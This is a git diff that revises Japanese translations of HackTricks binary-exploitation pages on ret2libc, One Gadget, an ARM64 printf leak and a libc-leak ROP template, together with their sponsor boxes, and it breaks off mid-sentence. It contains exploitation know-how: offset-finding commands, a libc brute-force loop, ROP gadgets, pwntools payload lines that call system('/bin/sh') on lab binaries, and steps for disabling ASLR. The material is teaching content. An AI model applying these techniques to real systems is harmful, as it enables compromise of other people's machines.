をPDFでダウンロードしたい** 場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください! +* [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手する +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)、当社の独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) コレクションを発見する +* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) に参加するか、[**telegramグループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live) をフォローする** +* **ハッキングトリックを共有するために** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリにPRを提出する ## **基本情報** -**Ret2Libc**の本質は、脆弱なプログラムの実行フローを、スタック上の攻撃者提供のシェルコードを実行する代わりに、共有ライブラリ(たとえば**system**、**execve**、**strcpy**など)内の関数にリダイレクトすることです。攻撃者は、ペイロードを作成し、スタック上の戻りアドレスを望ましいライブラリ関数を指すように変更すると同時に、呼び出し規約に従って必要な引数を適切に設定するように配置します。 +**Ret2Libc**の本質は、脆弱なプログラムの実行フローを、スタック上の攻撃者提供のシェルコードを実行する代わりに、共有ライブラリ内の関数(たとえば **system**、**execve**、**strcpy**)にリダイレクトすることです。攻撃者は、ペイロードを作成し、スタック上の戻りアドレスを望ましいライブラリ関数を指すように変更し、同時に呼び出し規約に従って必要な引数が正しく設定されるように配置します。 ### **手順の例(簡略化)** -* 呼び出す関数(たとえばsystem)のアドレスと呼び出すコマンド(たとえば/bin/sh)を取得する -* 最初の引数をコマンド文字列を指すように渡し、関数に実行フローを渡すためのROPチェーンを生成する +* 呼び出す関数(たとえば system)のアドレスと呼び出すコマンド(たとえば /bin/sh)を取得する +* 最初の引数をコマンド文字列を指すようにし、関数への実行フローを渡すためのROPチェーンを生成する ## アドレスの検索 -* 現在のマシンで使用されている`libc`がどこにメモリにロードされるかを見つけるには、次のコードを使用します: +* 現在のマシンで使用されている `libc` がどこにメモリにロードされるかを見つけるには: {% code overflow="wrap" %} ```bash @@ -37,11 +37,11 @@ ASLRがlibcのアドレスを変更しているかどうかを確認したい場 ```bash for i in `seq 0 20`; do ldd ./ | grep libc; done ``` -* 使用されているlibcを知っている場合、`system`関数へのオフセットを見つけることも可能です: +* 使用されているlibcを知っていると、`system`関数へのオフセットを見つけることも可能です: ```bash readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system ``` -* 使用されているlibcを知っていると、文字列 `/bin/sh` 関数へのオフセットを見つけることも可能です: +* 使用されているlibcを知っている場合、文字列 `/bin/sh` 関数へのオフセットを見つけることも可能です: ```bash strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh ``` @@ -55,17 +55,17 @@ find "/bin/sh" ``` ### /proc/\/mapsを使用する -プロセスが**毎回子プロセスを作成**している場合(ネットワークサーバーの場合)、そのファイルを**読み取ろう**(おそらくroot権限が必要になるでしょう)。 +プロセスが**子プロセス**を作成している場合(ネットワークサーバーなど)、そのファイルを**読み取ろう**としてみてください(おそらくroot権限が必要になるかもしれません)。 -ここで、プロセス内で**libcが正確にどこにロードされているか**、およびプロセスの**各子プロセスにどこにロードされるか**を見つけることができます。 +ここで、プロセス内で**libcがロードされている場所**と、プロセスの**各子プロセスにロードされる場所**を正確に見つけることができます。 -![](<../../../.gitbook/assets/image (850).png>) +![](<../../../.gitbook/assets/image (853).png>) この場合、**0xb75dc000**にロードされています(これがlibcのベースアドレスになります) ## 未知のlibc -バイナリがロードしている**libcがわからない**可能性があります(アクセス権限がないサーバーに配置されている可能性があるため)。その場合、脆弱性を悪用して**いくつかのアドレスを漏洩させ、どのlibcライブラリが使用されているか**を見つけることができます: +バイナリがロードしている**libcがわからない**可能性があります(アクセス権限がないサーバーにあるかもしれません)。その場合、脆弱性を悪用して**いくつかのアドレスを漏洩させ、どのlibcライブラリが使用されているか**を見つけることができます: {% content-ref url="rop-leaking-libc-address/" %} [rop-leaking-libc-address](rop-leaking-libc-address/) @@ -79,21 +79,21 @@ find "/bin/sh" ### 2つのオフセットでlibcを知る -[https://libc.blukat.me/](https://libc.blukat.me/)をチェックし、libc内の関数の**いくつかのアドレス**を使用して**使用されているバージョン**を特定します。 +[https://libc.blukat.me/](https://libc.blukat.me/)をチェックし、libc内の関数の**いくつかのアドレス**を使用して、**使用されているバージョン**を特定します。 -## 32ビットでASLRをバイパスする +## 32ビットでのASLR回避 これらのブルートフォース攻撃は**32ビットシステムにのみ有用**です。 -- 攻撃がローカルの場合、libcのベースアドレスをブルートフォースすることができます(32ビットシステムに有用): +* 攻撃がローカルの場合、libcのベースアドレスをブルートフォースしてみることができます(32ビットシステムに有用): ```python for off in range(0xb7000000, 0xb8000000, 0x1000): ``` -* リモートサーバーを攻撃する場合、`libc`関数`usleep`のアドレスを**10**(例えば)として**ブルートフォース**してみることができます。サーバーが**10秒余分に応答する**ようになったら、この関数のアドレスを見つけました。 +* リモートサーバーを攻撃する場合、`libc`関数`usleep`のアドレスを**10**(例)として試行することができます。サーバーが**10秒余分に応答する**ようになったら、この関数のアドレスを見つけました。 -## One Gadget +## ワンガジェット -**libc**内の**特定のアドレス**にジャンプしてシェルを実行する: +`libc`内の**特定のアドレス**にジャンプしてシェルを実行します: {% content-ref url="one-gadget.md" %} [one-gadget.md](one-gadget.md) @@ -139,11 +139,11 @@ ARM64の場合、ret 命令は x30 レジスタが指す場所にジャンプし ## Ret-into-printf (またはputs) -これにより、`printf`/`puts` を呼び出して特定のデータを引数として渡すことで、プロセスから情報を**漏洩**させることができます。たとえば、`puts` のGOT内のアドレスを `puts` の実行に置くことで、メモリ内の `puts` のアドレスを**漏洩**させることができます。 +これにより、`printf`/`puts` を呼び出すことで、特定のデータを引数として渡すことで、プロセスから情報を**漏洩**させることができます。たとえば、`puts` のGOT内のアドレスを `puts` の実行に置くことで、メモリ内の `puts` のアドレスを**漏洩**させることができます。 ## Ret2printf -これは基本的に、`ret2lib` を悪用して `printf` フォーマット文字列の脆弱性に変換することを意味します。`ret2lib` を使用して、それを悪用するための値を渡して `printf` を呼び出します(無駄に聞こえるかもしれませんが、可能です): +これは、`ret2lib` を悪用して `printf` フォーマット文字列の脆弱性に変換することを意味します。`ret2lib` を使用して、その値を使用して `printf` を呼び出し、それを悪用することが可能です(無駄に聞こえるかもしれませんが、可能です): {% content-ref url="../../format-strings/" %} [format-strings](../../format-strings/) @@ -154,12 +154,12 @@ ARM64の場合、ret 命令は x30 レジスタが指す場所にジャンプし * [https://guyinatuxedo.github.io/08-bof\_dynamic/csaw19\_babyboi/index.html](https://guyinatuxedo.github.io/08-bof\_dynamic/csaw19\_babyboi/index.html) * Ret2lib、libc内の関数のアドレスを漏洩させ、ワンガジェットを使用する * [https://guyinatuxedo.github.io/08-bof\_dynamic/csawquals17\_svc/index.html](https://guyinatuxedo.github.io/08-bof\_dynamic/csawquals17\_svc/index.html) -* 64ビット、ASLR有効、PIEなし、最初のステップはキャナリのバイト0x00までオーバーフローを埋め、その後putsを呼び出して漏洩させる。キャナリを使用して、GOT内のputsのアドレスを漏洩させるためのROPガジェットが作成され、`system('/bin/sh')`を呼び出すためのROPガジェットが作成されます。 +* 64ビット、ASLR有効、PIEなし、最初のステップは、canaryのバイト0x00までオーバーフローを埋め、その後putsを呼び出して漏洩させる。canaryを使用して、putsのアドレスをGOTから漏洩させ、`system('/bin/sh')` を呼び出すためのROPガジェットを作成します。 * [https://guyinatuxedo.github.io/08-bof\_dynamic/fb19\_overfloat/index.html](https://guyinatuxedo.github.io/08-bof\_dynamic/fb19\_overfloat/index.html) -* 64ビット、ASLR有効、キャナリなし、メイン関数内のスタックオーバーフロー。putsを呼び出してGOT内のputsのアドレスを漏洩させ、その後ワンガジェットを呼び出します。 +* 64ビット、ASLR有効、canaryなし、メイン関数内のスタックオーバーフローからの子関数。putsを呼び出して、GOTからputsのアドレスを漏洩させ、その後ワンガジェットを呼び出します。 * [https://guyinatuxedo.github.io/08-bof\_dynamic/hs19\_storytime/index.html](https://guyinatuxedo.github.io/08-bof\_dynamic/hs19\_storytime/index.html) -* 64ビット、PIEなし、キャナリなし、relroなし、nx。write関数を使用してwrite(libc)のアドレスを漏洩させ、ワンガジェットを呼び出します。 +* 64ビット、PIEなし、canaryなし、relroなし、nx。write関数を使用して、write(libc)のアドレスを漏洩させ、ワンガジェットを呼び出します。 * [https://guyinatuxedo.github.io/14-ret\_2\_system/asis17\_marymorton/index.html](https://guyinatuxedo.github.io/14-ret\_2\_system/asis17\_marymorton/index.html) -* スタックからキャナリを漏洩させるためにフォーマット文字列を使用し、システムにアドレス`/bin/sh`を渡してバッファオーバーフローを行います。 +* スタックからcanaryを漏洩させるためにフォーマット文字列を使用し、システムに呼び出し、`/bin/sh` のアドレスを持つGOTにアドレスを渡します。 * [https://guyinatuxedo.github.io/14-ret\_2\_system/tu\_guestbook/index.html](https://guyinatuxedo.github.io/14-ret\_2\_system/tu\_guestbook/index.html) -* 32ビット、relroなし、キャナリなし、nx、pie。スタックからlibcとヒープのアドレスを漏洩させるために悪いインデックスを悪用します。バッファオーバーフローを悪用して、`system('/bin/sh')`を呼び出すret2libを行います(ヒープのアドレスがチェックをバイパスするために必要です)。 +* 32ビット、relroなし、canaryなし、nx、pie。スタックからlibcとヒープのアドレスを漏洩するために悪いインデックスを悪用します。バッファオーバーフローを悪用して、`system('/bin/sh')` を呼び出すret2libを実行します(チェックをバイパスするためにヒープアドレスが必要です)。 diff --git a/binary-exploitation/rop-return-oriented-programing/ret2lib/one-gadget.md b/binary-exploitation/rop-return-oriented-programing/ret2lib/one-gadget.md index 099a59f4f..809bbf195 100644 --- a/binary-exploitation/rop-return-oriented-programing/ret2lib/one-gadget.md +++ b/binary-exploitation/rop-return-oriented-programing/ret2lib/one-gadget.md @@ -2,22 +2,22 @@
-htARTE(HackTricks AWS Red Team Expert) でゼロからヒーローまでAWSハッキングを学ぶ +htARTE(HackTricks AWS Red Team Expert) でAWSハッキングをゼロからヒーローまで学ぶ HackTricks をサポートする他の方法: -* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい** 場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください! -* [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を手に入れる -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つける -* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) または [**telegramグループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** をフォローする。** -* **ハッキングトリックを共有するために** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリにPRを提出する。 +* **HackTricks で企業を宣伝したい**または**HackTricks をPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける +* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォロー**してください。 +* **ハッキングトリックを共有するには、** [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。
## 基本情報 -[**One Gadget**](https://github.com/david942j/one\_gadget) は、**system** や **"/bin/sh"** を使用せずにシェルを取得することを可能にします。**One Gadget** は、libcライブラリ内でシェル (`execve("/bin/sh")`) を取得する方法を見つけ、たった1つの **アドレス** を使用します。\ -ただし、通常、いくつかの制約があります。最も一般的で回避が容易なものは、 `[rsp+0x30] == NULL` のようなものです。**RSP** 内の値を制御できるため、さらにいくつかのNULL値を送信して制約を回避すればよいです。 +[**One Gadget**](https://github.com/david942j/one\_gadget) は、**system**や**"/bin/sh"**を使用せずにシェルを取得することを可能にします。**One Gadget** は、libcライブラリ内でシェル(`execve("/bin/sh")`)を取得する方法を見つけ、たった1つの**アドレス**だけを使用します。\ +ただし、通常、いくつかの制約があります。最も一般的で回避が容易なものは、`[rsp+0x30] == NULL`のようなものです。**RSP**内の値を制御できるため、さらにいくつかのNULL値を送信して制約を回避すればよいです。 ```python ONE_GADGET = libc.address + 0x4526a rop2 = base + p64(ONE_GADGET) + "\x00"*100 @@ -25,12 +25,12 @@ rop2 = base + p64(ONE_GADGET) + "\x00"*100 One Gadget が示すアドレスには、`libc` がロードされているベースアドレスを**追加する必要があります**。 {% hint style="success" %} -One Gadget は、**任意の書き込みを実行するための素晴らしい支援**であり、ROP チェーンを**簡素化**するかもしれません。必要なのは1つのアドレスを呼び出すだけです。 +One Gadget は、**任意の書き込みを実行するテクニックに大きな助け**となり、**ROP チェーンを単純化**することができます。必要なのは1つのアドレスを呼び出すだけです。 {% endhint %} ### ARM64 -github リポジトリによると、**ARM64 がサポートされている**とされていますが、Kali 2023.3 の libc で実行すると、**ガジェットが見つかりません**。 +github リポジトリによると、**ARM64 がサポート**されていますが、Kali 2023.3 の libc で実行すると、**ガジェットが見つかりません**。 ## Angry Gadget @@ -42,14 +42,14 @@ angry_gadget.py examples/libc6_2.23-0ubuntu10_amd64.so ```
-htARTE(HackTricks AWS Red Team Expert) でAWSハッキングをゼロからヒーローまで学ぶ +htARTE(HackTricks AWS Red Team Expert)を使用して、ゼロからヒーローまでAWSハッキングを学ぶ HackTricksをサポートする他の方法: -* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -* [**公式PEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を入手する -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見る -* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローする** -* **ハッキングトリックを共有するために、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください。** +- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい場合は**、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +- [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける +- 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)で**フォロー**する +- ハッキングトリックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出する
diff --git a/binary-exploitation/rop-return-oriented-programing/ret2lib/ret2lib-+-printf-leak-arm64.md b/binary-exploitation/rop-return-oriented-programing/ret2lib/ret2lib-+-printf-leak-arm64.md index 8f5b89357..3002887b9 100644 --- a/binary-exploitation/rop-return-oriented-programing/ret2lib/ret2lib-+-printf-leak-arm64.md +++ b/binary-exploitation/rop-return-oriented-programing/ret2lib/ret2lib-+-printf-leak-arm64.md @@ -2,15 +2,15 @@
-ゼロからヒーローまでのAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert) +ゼロからヒーローまでAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert) HackTricksをサポートする他の方法: * **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -* [**公式PEASS&HackTricksスウォッグ**](https://peass.creator-spring.com)を手に入れる -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける -* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)をフォローする。 -* **ハッキングトリックを共有するために、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください。** +* [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手する +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、当社の独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションをご覧ください +* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローする。** +* **ハッキングトリックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
@@ -31,7 +31,7 @@ printfleak(); bof(); } ``` -キャナリなしでコンパイル: +コンパイル時にキャナリアを無効にする: ```bash clang -o rop-no-aslr rop-no-aslr.c -fno-stack-protector # Disable aslr @@ -41,29 +41,29 @@ echo 0 | sudo tee /proc/sys/kernel/randomize_va_space ### x30 オフセット -**`pattern create 200`** を使用してパターンを作成し、それを使用して **`pattern search $x30`** でオフセットをチェックすると、オフセットが **`108`** (0x6c) であることがわかります。 +**`pattern create 200`** を使用してパターンを作成し、それを使用して **`pattern search $x30`** でオフセットを確認すると、オフセットは **`108`** (0x6c) であることがわかります。 -
+
-メイン関数のディスアセンブルを見ると、バイナリがロードされた場所から **`printf`** に直接ジャンプする命令に **ジャンプ** したいということがわかります。`printf` までのオフセットは **`0x860`** です。 +メイン関数のディスアセンブルを見ると、バイナリがロードされた場所から **`printf`** に直接ジャンプする命令に **ジャンプ** したいということがわかります。`0x860` です。 -
+
### system と `/bin/sh` 文字列を見つける ASLR が無効になっているため、アドレスは常に同じになります。 -
+
### ガジェットを見つける **`x0`** に文字列 **`/bin/sh`** のアドレスを入れ、**`system`** を呼び出す必要があります。 -rooper を使用して、興味深いガジェットが見つかりました: +Rooper を使用して興味深いガジェットが見つかりました: ``` 0x000000000006bdf0: ldr x0, [sp, #0x18]; ldp x29, x30, [sp], #0x20; ret; ``` -このガジェットは、`$sp + 0x18` から `x0` をロードし、次に x29 と x30 のアドレスを sp からロードして x30 にジャンプします。したがって、このガジェットを使用して**最初の引数を制御し、system にジャンプ**することができます。 +このガジェットは、`$sp + 0x18` から `x0` をロードし、次に x29 と x30 のアドレスを sp からロードして x30 にジャンプします。したがって、このガジェットを使用して**最初の引数を制御し、その後 system にジャンプ**することができます。 ### Exploit ```python @@ -121,30 +121,30 @@ bof(); } ``` -**キャナリアなしでコンパイルする:** +**キャナリアなしでコンパイル**: ```bash clang -o rop rop.c -fno-stack-protector -Wno-format-security ``` ### PIEとASLRが有効だが、キャナリは無効 * ラウンド1: - * スタックからPIEのリーク - * バッファオーバーフローを悪用してmainに戻る +* スタックからPIEのリーク +* バッファオーバーフローを悪用してmainに戻る * ラウンド2: - * スタックからlibcのリーク - * ROP: ret2system +* スタックからlibcのリーク +* ROP: ret2system ### Printfリーク printfを呼び出す前にブレークポイントを設定すると、スタックにバイナリに戻るアドレスとlibcのアドレスがあることがわかります: -
+
異なるオフセットを試すと、**`%21$p`** はバイナリアドレスをリークでき(PIEバイパス)、**`%25$p`** はlibcアドレスをリークできます: -
+
-リークしたlibcアドレスからlibcのベースアドレスを引くと、**リークしたアドレスのオフセットは`0x49c40`**であることがわかります。 +リークしたlibcアドレスからlibcのベースアドレスを引くと、**リークしたアドレスのベースからのオフセットは `0x49c40` であることがわかります。** ### x30オフセット @@ -158,7 +158,9 @@ rooperを使用して、別の興味深いガジェットが見つかりまし ``` 0x0000000000049c40: ldr x0, [sp, #0x78]; ldp x29, x30, [sp], #0xc0; ret; ``` -### 攻撃手法 +このガジェットは、`$sp + 0x78` から `x0` をロードし、次に `sp` からアドレス x29 と x30 をロードして x30 にジャンプします。したがって、このガジェットを使用して**最初の引数を制御し、その後 system にジャンプ**することができます。 + +### Exploit ```python from pwn import * from time import sleep @@ -210,14 +212,14 @@ p.interactive() ```
-AWSハッキングをゼロからヒーローまで学ぶ htARTE(HackTricks AWS Red Team Expert) +ゼロからヒーローまでのAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert) -HackTricksをサポートする他の方法: +HackTricksをサポートする他の方法: * **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -* [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける -* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローする。** -* **ハッキングトリックを共有するために、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **githubリポジトリに提出してください。** +* [**公式PEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を入手する +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)、当社の独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを発見する +* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローする。** +* **ハッキングトリックを共有するためにPRを提出して** [**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) githubリポジトリ。
diff --git a/binary-exploitation/rop-return-oriented-programing/ret2lib/rop-leaking-libc-address/README.md b/binary-exploitation/rop-return-oriented-programing/ret2lib/rop-leaking-libc-address/README.md index 9eb809751..982acff11 100644 --- a/binary-exploitation/rop-return-oriented-programing/ret2lib/rop-leaking-libc-address/README.md +++ b/binary-exploitation/rop-return-oriented-programing/ret2lib/rop-leaking-libc-address/README.md @@ -6,19 +6,19 @@ HackTricksをサポートする他の方法: -- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する -- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける -- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**または[telegramグループ](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)を**フォロー**する。 -- **ハッキングトリックを共有するために** [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出する。 +* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける +* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)を**フォロー**する。 +* **ハッキングトリックを共有するために、** [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出する。 ## クイックリサーム 1. **オーバーフローのオフセット**を見つける -2. `POP_RDI`ガジェット、`PUTS_PLT`、`MAIN`ガジェットを**見つける** -3. 前述のガジェットを使用して、putsまたは他のlibc関数のメモリアドレスを**リーク**し、**libcバージョンを見つける**([ダウンロード](https://libc.blukat.me)) +2. `POP_RDI` ガジェット、`PUTS_PLT`、`MAIN` ガジェットを**見つける** +3. 前述のガジェットを使用して、putsや他のlibc関数のメモリアドレスを**リーク**し、**libcバージョンを見つける**([ダウンロード](https://libc.blukat.me)) 4. ライブラリを使用して、ROPを計算し、それを悪用する ## 他のチュートリアルと練習用のバイナリ @@ -44,7 +44,7 @@ return 0; ```bash gcc -o vuln vuln.c -fno-stack-protector -no-pie ``` -## ROP - LIBCアドレスの漏洩テンプレート +## ROP - LIBCアドレス漏洩テンプレート エクスプロイトをダウンロードし、脆弱性のあるバイナリと同じディレクトリに配置し、スクリプトに必要なデータを提供します: @@ -54,7 +54,7 @@ gcc -o vuln vuln.c -fno-stack-protector -no-pie ## 1- オフセットの検索 -テンプレートは、エクスプロイトを続行する前にオフセットが必要です。提供されていない場合、必要なコードを実行してオフセットを見つけます(デフォルトでは `OFFSET = ""`)。 +テンプレートは、エクスプロイトを続行する前にオフセットが必要です。提供されている場合、必要なコードを実行してそれを見つけます(デフォルトでは `OFFSET = ""`)。 ```bash ################### ### Find offset ### @@ -69,21 +69,21 @@ r.sendline(payload) #cyclic_find(0x6161616b) # Find the offset of those bytes return ``` -**実行** `python template.py` とすると、プログラムがクラッシュした状態で **GDBコンソール** が開かれます。その **GDBコンソール** 内で `x/wx $rsp` を実行して、RIP を上書きするバイト列を取得します。最後に、**Pythonコンソール**を使用して **オフセット** を取得します: +**実行** `python template.py` とすると、プログラムがクラッシュした状態で **GDBコンソール** が開かれます。その **GDBコンソール** 内で `x/wx $rsp` を実行して、RIP を上書きするバイト列を取得します。最後に、**pythonコンソール**を使用して **オフセット** を取得します: ```python from pwn import * cyclic_find(0x6161616b) ``` -![](<../../../../.gitbook/assets/image (1004).png>) +![](<../../../../.gitbook/assets/image (1007).png>) -オフセット(この場合は40)を見つけた後、その値を使用してテンプレート内のOFFSET変数を変更します。\ +オフセット(この場合は40)を見つけた後は、その値を使ってテンプレート内のOFFSET変数を変更します。\ `OFFSET = "A" * 40` 別の方法は、GEFから `pattern create 1000` -- _execute until ret_ -- `pattern seach $rsp` を使用することです。 ## 2- ガジェットの検索 -次に、バイナリ内でROPガジェットを見つける必要があります。これらのROPガジェットは、**libc**を見つけるために`puts`を呼び出し、後で**最終的なエクスプロイトを起動**するのに役立ちます。 +次に、バイナリ内のROPガジェットを見つける必要があります。これらのROPガジェットは、**使用されているlibcを見つけるためにputsを呼び出し、後で** **最終的なエクスプロイトを起動する**のに役立ちます。 ```python PUTS_PLT = elf.plt['puts'] #PUTS_PLT = elf.symbols["puts"] # This is also valid to call puts MAIN_PLT = elf.symbols['main'] @@ -95,14 +95,14 @@ log.info("Puts plt: " + hex(PUTS_PLT)) log.info("pop rdi; ret gadget: " + hex(POP_RDI)) ``` `PUTS_PLT`を呼び出すためには、**puts関数**を呼び出す必要があります。\ -`MAIN_PLT`は、**オーバーフローを再度**利用するために、1回のやり取り後に**main関数**を再度呼び出すために必要です(無限の利用ラウンド)。**各ROPの最後にプログラムを再度呼び出すために使用されます**。\ +`MAIN_PLT`は、**オーバーフローを再度**利用するために、1回のインタラクション後に**main関数**を再度呼び出すために必要です(無限の利用ラウンド)。 **各ROPの最後にプログラムを再度呼び出すために使用されます**。\ **POP\_RDI**は、呼び出される関数に**パラメータ**を**渡す**ために必要です。 このステップでは、実行する必要はありません。すべては実行中にpwntoolsによって見つけられます。 ## 3- libcライブラリの検索 -今度は、使用されている**libc**ライブラリのバージョンを見つける時です。これを行うために、**puts**関数の**メモリ内のアドレス**を**リーク**し、その後そのアドレスにあるputsバージョンがどの**ライブラリバージョン**にあるかを**検索**します。 +今は、使用されている**libc**ライブラリのバージョンを見つける時です。そのために、**puts**関数のメモリ内の**アドレス**を**リーク**し、その後そのアドレスにあるputsバージョンがどの**ライブラリバージョン**にあるかを**検索**します。 ```python def get_addr(func_name): FUNC_GOT = elf.got[func_name] @@ -131,18 +131,18 @@ if libc == "": print("Find the libc library and continue with the exploit... (https://libc.blukat.me/)") p.interactive() ``` -以下は、実行されたコードの中で最も重要な行です: +それを行うために、実行されるコードの中で最も重要な行は次のとおりです: ```python rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT) ``` これにより、**RIP** を**上書き**するまでのいくつかのバイトが送信されます: `OFFSET`。\ -次に、ガジェット `POP_RDI` の**アドレス**が設定され、次のアドレス (`FUNC_GOT`) が**RDI** レジスタに保存されます。これは、`PUTS_GOT` の**アドレス**を**puts 関数のメモリ内のアドレス**として渡すために puts を**呼び出したい**ためです。\ -その後、`PUTS_PLT` が呼び出され(**RDI** に `PUTS_GOT` が含まれています)、puts 